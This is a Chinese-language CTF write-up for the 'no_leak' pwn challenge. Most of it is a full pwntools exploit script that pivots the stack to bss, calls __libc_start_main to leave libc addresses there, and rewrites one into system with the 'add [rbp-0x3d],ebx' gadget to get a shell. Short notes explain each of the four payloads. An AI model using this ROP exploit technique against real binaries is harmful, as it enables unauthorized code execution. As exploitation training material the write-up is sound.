__do_global_dtors_aux中有一个gadget可以修改stack上的数据。

add [rbp-3Dh],ebx(当rbp和ebx可控时,我们就可以修改rbp-0x3d地址里面的内容,从而获取想要的真实地址。)



nx保护,got表不可改。栈溢出,并且没有任何可输出的函数。首先想到的是利用dl_runtime_reslove,但是dl_runtime_reslove常用于32,并且实操后发现执行不通。
利用思路:
 1、迁移到bss段
 2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布。
 3、找到一个能用的真实地址,利用神奇的gadget,把他伪造成system,再次跳回到main函数。
 4、栈溢出构造system(‘/bin/sh’)
exp:
  from pwn import * import sys context.log_level = 'debug' pwn_name = "no_leak" arch = '64' version = '2.27' ip, port = 'nc.eonew.cn', 10002 if sys.argv[1]=="l": 	p=process('./'+pwn_name) 	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) else: 	p=remote(ip,port) 	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
  elf=ELF(pwn_name,checksec=False)
  def get_one():     if(arch == '64'):         if(version == '2.23'):             one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]         if (version == '2.27'):             one = [0x4f2c5 , 0x4f322 , 0x10a38c]     return one
  def sym(func):     success('{} => {:#x}'.format(func , libc.sym[func]))     return libc.sym[func]
  def info(con,leak):     success('{} => {:#x}'.format(con,leak))
  def dbg(address=0):     if address==0:         gdb.attach(p)         pause()     else:         if address > 0xfffff:             script="b *{:#x}\nc\n".format(address)         else:             script="b *$rebase({:#x})\nc\n".format(address)         gdb.attach(p, script)
  def cus_rop(gadget1,gadget2,func_got,rdi,rsi,rdx):     payload = p64(gadget1)     payload += p64(0)      payload += p64(0)              payload += p64(1)              payload += p64(func_got)       payload += p64(rdi)            payload += p64(rsi)            payload += p64(rdx)            payload += p64(gadget2)     payload += 'a'*56           return payload
  one = get_one()
  gadget_reg = 0x4005C6  gadget_call= 0x4005B0 magic_gadget = 0x400518 pop_rdi_ret = 0x4005D3 pop_rsi_r15 = 0x4005D1 leave_ret = 0x400564 buf_address = elf.bss() + 0x500 fini = 0x4005E0 init = 0x400570 start = 0x400450
 
  payload  = 'a'*0x80 + p64(buf_address) payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_r15) + p64(buf_address) + p64(0) + p64(elf.plt['read']) payload += p64(leave_ret) payload = payload.ljust(0x100,'a') p.send(payload)
 
 
  payload = 'a'*8 payload += cus_rop(gadget_reg,gadget_call,elf.got['__libc_start_main'],start,fini,init) payload = payload.ljust(0x100,'a') p.send(payload)
 
 
  payload  = 'a'*0x80 + p64(buf_address) payload += p64(0x4005Ca) payload += p64(0xFFFFFFFFFFC5EE18)  payload += p64(0x601458+0x3d) payload += p64(0)*4 payload += p64(magic_gadget) payload += p64(start) p.send(payload) pause()
  binsh = 0x6012b0 system = 0x601458 payload ='/bin/sh\x00'+'b'*0x80 payload +=cus_rop(gadget_reg,gadget_call,system,binsh,0,0)
 
  p.sendline(payload) p.interactive()
 
  | 
 
第一次payload:
 栈迁移之后再次ret到read函数。此时rbp已经被覆盖为bss段地址,并且再次执行read函数


第二次payload:
 栈迁移往0x601510处读入我们调用libc_start_main的payload。
 通用gadget  —csu— :





可以看到第一个参数main地址,利用中级栈溢出的方式,成功实现了调用libc_start_main。

第三次payload:
 再次read,当我们进去看时,就会发现除了我们的再次输入外,在bss上留下还有一些libc的地址:
选择0x601458作为我们的牺牲品,通过神奇的gadget,add它和system的偏移,就可以把它改成system,同时它的bss地址可以看成是system的伪got表地址。

关于偏移:
 在magic_gadget中,add[rbp-0x3d],所以我们0x601458只有加0x3d才是rbp的位置,才能控制rbp。


第四次payload:
 改成功了,接着再次回到main函数,直接写binsh到首部,然后中级栈溢出调用system就可以getshell了:
